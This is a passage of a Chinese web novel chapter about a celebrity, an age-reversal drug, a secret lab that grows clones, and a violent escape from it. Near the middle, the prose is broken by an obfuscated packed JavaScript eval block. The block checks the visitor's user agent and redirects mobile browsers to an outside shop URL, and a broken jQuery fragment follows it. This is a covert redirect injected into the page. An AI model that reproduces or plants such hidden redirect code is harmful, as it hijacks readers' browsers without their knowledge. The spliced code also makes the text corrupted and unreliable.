看到“返老还童液”几个字，我觉得既熟悉又震惊。


    一来，不知如何将它与明星炫彩联系起来；二来，更不知它跟朴成焕什么关系。


    然而，心中隐隐预感不妙。


    种种迹象表明，或许我从未认识过未婚夫的真面目。


    此时，再去牵强附会地解释，说他跟“顶楼”实验室素有联络，可能是纯粹为了救人，可能是曲线救国打探消息……类似的理由，完全无法自圆其说。


    这让人感到后背发凉，更让人内心升起一股寒意。


    ……


    秀晶直愣愣地将备注栏念了出来：“30岁……炫彩姐姐，你的公开资料明明说的是，今年才满26岁的吗？”


    “比我想象中大好多啊，怪不得，开始使用药物控制了。”


    “唉呀，你这样乱看客人信息，是不对的。”


    年长护士见炫彩脸色愈发难看，知道秀晶说得离谱，需要及时岔开话题，制止下她的口无遮拦。


    “什么对不对的？反正我都看到了。算了，看在你是我多年偶像份上，谎报年龄的事情，我不会告诉任何人的。”


    秀晶拍拍胸脯，自我感觉良好地说道，“作为炫彩的忠实粉丝，必须要讲义气的嘛。”


    “对了，那个‘返老还童液’是什么啊？咱们诊所有这玩意儿吗？稀奇古怪的名字，感觉是骗小孩子的。”


    跟倒豆子似的，秀晶仍在继续吐槽，弄得一旁的年长护士尴尬极了。


    看那样子，所有人都想把她的嘴巴缝上，但偏偏有所忌惮。


    护士们忌惮秀晶是我带来的，算是朴成焕的贵客。


    而炫彩本人，则忌惮粉丝掌握了自己的年龄和需求秘密，不好得罪她，免得日后粉转黑，倒打一耙跑去爆料，反而有可能会害自己风评不佳。


    “别问那么多……把我要的东西，悄悄给我就行了，快点！”


    炫彩几乎是咬着牙，一字一顿地说，生怕下一刻立马失去表情管理。


    楼上的护士，全程竖着耳朵聆听前台动静。见此情形，她合乎时宜地将秀晶领走，让一楼空了出来，只剩下年长护士和炫彩能够私密对话。


    支开了秀晶，年长护士轻舒了口气，压低声音说道：“抱歉，炫彩女士，原计划给您预定的这批药，出了点运输故障。”


    “朴医生没赶回来，正是因为此事。没来得及反馈过去，害您白跑一趟，真是不好意思！”


    炫彩一听，憋着的火再没忍住，将收银台的桌子拍得“砰砰”响。


    “之前在往上宣传得铺天盖地的，如今线下没药，存心耍我是吧？我来一趟可不容易，光是找借口，就退掉了不少通告，特意借着MV的机会才飞到你们C国的。”


    “怎么着，如今把人哄来了，离谱的80%订金都付完了，才告诉药是假的，压根没有的……问遍全世界，天底下都没有这样的道理！”


    如果不是害怕做大表情长皱纹，我相信，以炫彩表现出来的暴脾气，绝不可能只是骂人这么简单。


    年长护士给炫彩递了一张鎏金卡片，耐心解释道：“抱歉，实在抱歉！真的是临时出了环节上的故障，等药一到，我们朴医生给您亲自送过去赔罪！”


    “这是C国连锁的贵价美容券，可凭此报销2万以内的金额。您回国之前，可以试试用它打针剂、做SPA，我们诊所全额报销。”


    “……”


    一阵好说歹说，年长护士总算把这位姑奶奶哄走了。


    然而，代价似乎有点大。


    2万块的美容消费，对于明星来说，应该只是日常保养开销。


    但客观评价，同等价位的消费，搁哪个国家和地区，都不是一笔可忽略不计的数额。


    结合朴成焕本人来看，他也不像那种投入奢侈的经营者，不可能花费巨大，纯买一份道歉或体面。


    由此来看，那种所谓的“返老还童液”，报价应该远远超出2万块以上。


    利润之丰厚，效果之夸张，才会令财阀和明星等人士，为之疯狂神往。


    ……


    我迅速编辑信息，将早上的见闻，发送给了Gilbert和严晶花。


    随后，便自行搭乘便车，一路来到了西边的海港。


    趁着海港未及人声鼎沸时，我悄悄潜入某辆货车车厢，随着行驶的进程，大大方方地再次来到“保留地”。


    比较幸运的是，这次我碰上了运输瓜果蔬菜的货车。


    既没有人口拐卖的脏事儿，也没有猪肉鱼肉等荤腥气味儿。从车上跳下，除了后背有些灰尘外，其他依然算是体面。


    从怀里取出棕熊面具，我将其紧紧地戴在脸上。


    顺着手绘地图的路线，行进了约半小时，不出所料地，我见到了“顶楼”的标志性建筑。


    此时，正值中午。


    “顶楼”门口的守卫们忙着换班，不远处，还传来肉类和米饭烹熟的气味。


    我观察了会儿，见大门似乎并未安装什么电子设备，纯粹靠人把守，还是有空档可寻。


    于是乎，趁着一辆深色轿跑被盘查时，我抓住机会，侧身从门口翻身闯入。


    然后，速跑好几步，来到整个园区中心的主建筑楼前。


    正当我戴紧棕熊面具，庆幸无人识破时，突然有人在背后拍了拍我的肩膀。


    我心头不禁一惊，忙回头望去，竟是一名同样动物面具的男子。


    男子头上的动物，介乎牛和马之间，姑且叫他“牛马人”吧。


    牛马面具呵呵一笑，用很是相熟要好的语气，同我勾肩搭背地说话。


    “老哥儿，刚在野地里小解完，在这儿居然碰见你了！哥哥可真是财大气粗啊，回回遇见你，都来这富丽堂皇的销金窟。难不成，真是在这里安了家？”


    他说着话，嘴里不住地喷着酒气，熏得人脑瓜子疼。


    很明显，这是一个彻夜狂欢过的男人，饮酒纵乐，透支身体，还沾沾自喜着。


    见牛马面具脑子不甚清醒，我怕暴露身份，试探性地问道：“喂，兄弟，你喝得不少啊！该不会认错人了吧？”


    “怎么会呢，我才没喝多呢！”


    牛马人挣扎地辩解着，“再说了，第一回来这个妙处，还是老哥你推荐的呢！咱们在极光酒店初遇那回，还记得不……”


    哦，明白了。


    这人跟棕熊面具并非旧知，不过是推介关系，算是半个客户吧。


    如此一来，压根不必担心身份会暴露。反正不熟悉，不会那么容易认出来。


    我顺势撑起醉汉的身体，假装搀扶他，一路掩护自己步入主楼。


    刚过了门口安检，我便喊来侍者，过来帮忙照料牛马面具，并火速甩掉了这个牛皮糖。


    再次混进“顶楼”，我急忙找到了之前入住的房间，跟Leo、Max等人汇合。


    幸好他们临危不乱，在内部配合默契，这两天一直把真正的棕熊面具压制得服服帖帖的，我才能够得以混进来。


    短暂寒暄后，我简单将Gilbert等人前来相助的事，跟大家伙做了分享，并且提了一嘴“返老还童液”的事情。


    听到药名，众人脸上精彩纷呈。


    Max猛地攥紧拳头，Leo的叉子“哐当”落在餐盘上。


    “那药……”Leo嗓音发紧，“我们查到的失踪女孩，最后都成了药引。”


    窗外忽然传来礼炮轰鸣。


    众人循声望去——


    广场中央正在揭幕一座新培养皿。荧光液中悬浮的少女面容，竟与炫彩有七分相似。


    礼炮余声中，水晶吊灯骤然亮起。


    十二名侍者推着镀金餐车列队而入，车上的冰雕天鹅正缓缓吐出靛蓝色液体——正是那种被称为“返老还童液”的诡异药剂。


    “各位贵宾。”司仪的声音透过面具传来，“今晚将见证历史性的合作。”


    镁光灯突然打在二楼旋梯。


    炫彩身着缀满磷光丝线的长裙现身，每步都落下星尘般的碎光。她脖颈佩戴着镶嵌培养皿碎片的项链，皿中幽蓝液体随步伐荡漾。


    “很荣幸成为永恒系列的代言人。”她的笑容像是精心测量过的模具，“感谢‘顶楼’让我见证奇迹。”


    Max一把按住差点冲出去的Leo：“别打草惊蛇。”


    就在炫彩举起水晶杯的刹那，宴会厅大门轰然开启。


    Gilbert穿着暗纹西装踱步而入，严晶花挽着他手臂，貂皮大衣下若隐若现的翡翠项链价值连城。八名保镖抬着鎏金保险箱紧随其后。


    “铃木集团，Gilbert先生到——”


    整个大厅骤然寂静。


    先前与齐刘海侍者交谈的羚羊面具猛然起身。


    严晶花用折扇轻点展示柜：“听说这里的‘永恒系列’能让人重返二十岁？”她突然用蹩脚的外语高声道，“若是真的，铃木集团愿追加三百亿投资！”


    侍者手中的托盘微微倾斜。


    我看见Gilbert借扶稳托盘的动作，将微型追踪器粘在了侍者袖口。


    忽然所有培养皿同步泛起红光。


    悬浮在液体中的少女们突然睁开双眼，瞳孔是相同的机械蓝。


    “展示开始。”司仪击掌三下。


    最新揭幕的培养皿缓缓开启，与炫彩相似的少女漂浮而出。她接过侍者递来的匕首，突然刺向自己心口——流出的竟是荧蓝色血液！


    “这就是改良版药剂的功效。”羚羊面具狂热地展开双臂，“□□永恒，青春不朽！”


    严晶花突然掀翻餐桌：“他们管这叫改良？这是用活人当培养基！”


    Max瞬间掀开地毯露出暗门，Leo掏出藏匿的武器。


    我冲向总控台按下紧急按钮，整个“顶楼”顿时警铃大作。


    Gilbert的保镖团队迅速控制出入口。


    严晶花甩掉高跟鞋，从裙撑里抽出战术平板：“已连接主服务器，正在下载实验数据！”


    培养皿中的少女们突然开始同步挣扎，液体疯狂沸腾。


    那个与炫彩相似的复制体突然开口，声音如同金属摩擦：“检测到系统入侵，启动清除程序——”


    天花板突然降下铁栅栏。


    复制体徒手掰断培养皿玻璃，荧蓝色血液滴落处冒出青烟。


    “跟我来！”真棕熊面具突然挣脱束缚扔来门卡，“地下通道！”


    我们撞开暗门冲进货运电梯，身后传来此起彼伏的枪声。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691659|185258||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在电梯门闭合的刹那，我看见炫彩的本体瘫倒在旋梯上，皮肤正以肉眼可见的速度枯萎。


    严晶花擦着脸上的血迹冷笑：“所谓返老还童，不过是把衰老转移给复制体。”


    电梯降入地下仓库时，Gilbert突然按住伤口单膝跪地。


    他苦笑着从西装内袋取出染血的U盘：“所有交易记录.……都在这里了……”


    货运电梯在B3层戛然而停。应急红灯旋转着将血色投在每个人脸上。Gilbert的指缝间不断渗出暗红，严晶花撕开裙摆利落地为他捆扎伤口。


    “他们改造了供电系统。”Leo盯着控制面板蹙眉，“电梯被锁死了。”


    突然，电梯厢顶传来刺耳的刮擦声。Max举枪上指，只见金属顶板正被某种力量撕开裂缝——一只覆盖着蓝色鳞片的手猛然探入！


    “是进化后的复制体！”真棕熊面具惊呼，“他们激活了战斗模式！”


    我抓起消防斧砍向那只怪手，斧刃与鳞片碰撞出火星。严晶花趁机将战术平板接入控制面板：“给我三分钟破解权限！”


    电梯顶部的撕裂声突然被爆炸巨响淹没。水箱爆裂的轰鸣从上层传来，混着蓝血的洪水从缝隙倒灌而入。


    “培养皿连锁破裂了！”严晶花突然举起平板，“我打开了应急通道！”


    电梯门强行撬开的刹那，浑浊的水流裹挟着我们冲进地下暗河。Gilbert的保镖组成人墙挡住激流，Max拽着我游向闪着安全出口标志的通风管道。


    在钻入管道的最后一刻，我回头望去——


    那个炫彩复制体正站在倾泻而下的水幕中，蓝色血液与洪水混合成诡异的霓虹。她突然歪头露出机械的微笑，瞳孔里闪过数据流的光泽。


    通风管道通向废弃的制药实验室。严晶花瘫坐在积满灰尘的操作台前，将U盘插入终端。屏幕上迅速滚动起令人心惊的实验记录：


    【第43次迭代：采用土著基因序列，衰老转移效率提升至67%】


    【第81次迭代：与铃木集团签约，启动“永恒代言人”企划】


    【第117次迭代：检测到朴成焕提供的临床数据异常……】


    “朴成焕？”我按住颤抖的手，“他在提供实验数据？”


    严晶花突然放大一张照片——朴氏诊所的地下室里，竟藏着微型培养皿装置！而最后一个文件夹里，存着金羽姬的基因测序报告。


    “各位。”Gilbert虚弱地靠坐在墙边，“是时候说出全部真相了。”


    他解开衬衫纽扣，露出胸口诡异的蓝色纹路：“三年前我接受过‘返老还童’治疗。他们用我的DNA培育了12个复制体...”


    话音未落，通风管道突然传来重物坠落的巨响。戴着白狐面具的身影轻盈落地，手中武士刀直指Gilbert咽喉。


    “铃木先生。”面具下传来朴成焕温润的嗓音，“您违约了。”


    Leo的子弹击中朴成焕右肩的刹那，白狐面具应声碎裂。那张永远带着微笑的脸此刻扭曲如恶鬼，蓝色血管在皮肤下突突跳动。


    “你们懂什么？”他扯开白大褂，露出布满缝合线的躯体，“每个复制体死亡时的痛苦都会反馈给我...但只有持续供应新鲜基因，我才能活下去！”


    严晶花突然举起检测仪：“他体内有金羽姬的基因标记！”


    朴成焕疯狂大笑：“那个蠢女人？她自愿成为第零号实验体！以为这样就能永葆青春——”


    Max的拳头将他狠狠砸向墙壁。在纷落的档案中，我们看见金羽姬签字的实验同意书，日期正是她失踪前一周。


    整座建筑突然剧烈震动。上层传来狂欢般的尖叫，透过通风口可以看到——宴会厅里的宾客们正在蓝血洪水中舞蹈，衰老的躯体在接触到液体后开始蜕皮般新生。


    “培养皿破裂让药剂雾化了！”严晶花指着监控屏，“他们在集体变异！”


    朴成焕挣扎着爬向控制台，染血的手指按下红色按钮。所有培养皿同步开启，数十个复制体睁开发着蓝光的眼睛。


    “既然秘密保不住了...”他癫狂地笑着，“就让所有人一起永生！”


    洪水已经漫到腰部。Gilbert将U盘塞进我手里：“去找金校长，她书房暗格里有全部证据...”


    突然，那个炫彩复制体冲破通风口。她的身体正在融化，蓝色血液滴落处升起带着甜腻香气的烟雾。


    “系统超载，启动自毁程序。”机械音从她喉咙里传出，“倒计时三分钟。”


    Max扛起昏迷的朴成焕，Leo拉着我冲向应急通道。在踏上最后一级台阶时，整座建筑在我们身后塌陷，蓝血洪流如瀑布般从地下喷涌而出。


    站在悬崖边回望，“顶楼”正在蓝色火焰中缓缓沉入地底。严晶花检测着空气样本：“药剂正在分解，不会造成大规模污染。”


    旭日初升时，Gilbert的私人直升机降落在崖边。医护人员抬走伤员后，他递给我一个密封盒：“这是铃木集团参与实验的全部证据。”


    打开盒盖的瞬间，我瞳孔骤缩——


    最上层放着朴成焕与金校长的合影，背面写着：【致永远的第零号实验体】